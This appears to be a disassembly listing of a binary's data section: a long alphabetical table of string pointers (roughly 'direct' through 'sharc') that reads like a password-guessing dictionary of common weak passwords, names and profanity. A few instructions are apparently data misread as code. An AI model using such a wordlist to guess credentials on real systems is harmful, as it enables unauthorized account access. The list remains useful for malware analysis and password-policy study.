		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_0	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
; ---------------------------------------------------------------------------
		clc
		jmp	short loc_429BB5
; ---------------------------------------------------------------------------
		align 4
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	ah, cl
		jmp	short loc_429BC9
; ---------------------------------------------------------------------------
		align 4
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
; ---------------------------------------------------------------------------
		lodsb
		jmp	short loc_429BD5
; ---------------------------------------------------------------------------
		align 4
		movsb
		jmp	short loc_429BD9
; ---------------------------------------------------------------------------
		align 4
		pushf
		jmp	short loc_429BDD
; ---------------------------------------------------------------------------
		align 4
		xchg	eax, esp
		jmp	short loc_429BE1
; ---------------------------------------------------------------------------
		align 10h
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		db 64h
; ---------------------------------------------------------------------------


loc_429BB5:				; CODE XREF: seg002:00429B71j
		jmp	short loc_429BF9
; ---------------------------------------------------------------------------
		align 4
		dd offset aFeds		; "feds"
; ---------------------------------------------------------------------------
		push	esp
		jmp	short loc_429C01
; ---------------------------------------------------------------------------
		align 10h
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		db 3Ch
; ---------------------------------------------------------------------------


loc_429BC9:				; CODE XREF: seg002:00429B85j
		jmp	short loc_429C0D
; ---------------------------------------------------------------------------
		align 4
		xor	bl, ch
		inc	edx
		add	[eax], ch
		jmp	short near ptr byte_429C15
; ---------------------------------------------------------------------------
		align 4
		db 20h
; ---------------------------------------------------------------------------


loc_429BD5:				; CODE XREF: seg002:00429B91j
		jmp	short loc_429C19
; ---------------------------------------------------------------------------
		align 4
		db 18h
; ---------------------------------------------------------------------------


loc_429BD9:				; CODE XREF: seg002:00429B95j
		jmp	short near ptr loc_429C19+4
; ---------------------------------------------------------------------------
		align 4
		db 10h
; ---------------------------------------------------------------------------


loc_429BDD:				; CODE XREF: seg002:00429B99j
		jmp	short loc_429C21
; ---------------------------------------------------------------------------
		align 10h
		db 8
; ---------------------------------------------------------------------------


loc_429BE1:				; CODE XREF: seg002:00429B9Dj
		jmp	short near ptr loc_429C21+4
; ---------------------------------------------------------------------------
		align 4
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
; ---------------------------------------------------------------------------
		fsub	st(2), st
		inc	edx
		add	ah, dl


loc_429BF9:				; CODE XREF: seg002:loc_429BB5j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		db 0C4h
; ---------------------------------------------------------------------------


loc_429C01:				; CODE XREF: seg002:00429BBDj
		jmp	far ptr	42h:0EABC0042h
; ---------------------------------------------------------------------------
		dd offset aFoolproo	; "foolproo"
; ---------------------------------------------------------------------------
		movsb


loc_429C0D:				; CODE XREF: seg002:loc_429BC9j
		jmp	far ptr	42h:0EA9C0042h
; ---------------------------------------------------------------------------
		db 94h
byte_429C15	db 0EAh, 42h, 0		; CODE XREF: seg002:00429BD1j
		db 88h
; ---------------------------------------------------------------------------


loc_429C19:				; CODE XREF: seg002:loc_429BD5j
					; seg002:loc_429BD9j
		jmp	far ptr	42h:0EA800042h
; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------


loc_429C21:				; CODE XREF: seg002:loc_429BDDj
					; seg002:loc_429BE1j
		jmp	far ptr	42h:0EA700042h
; ---------------------------------------------------------------------------
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp		; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom_0	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
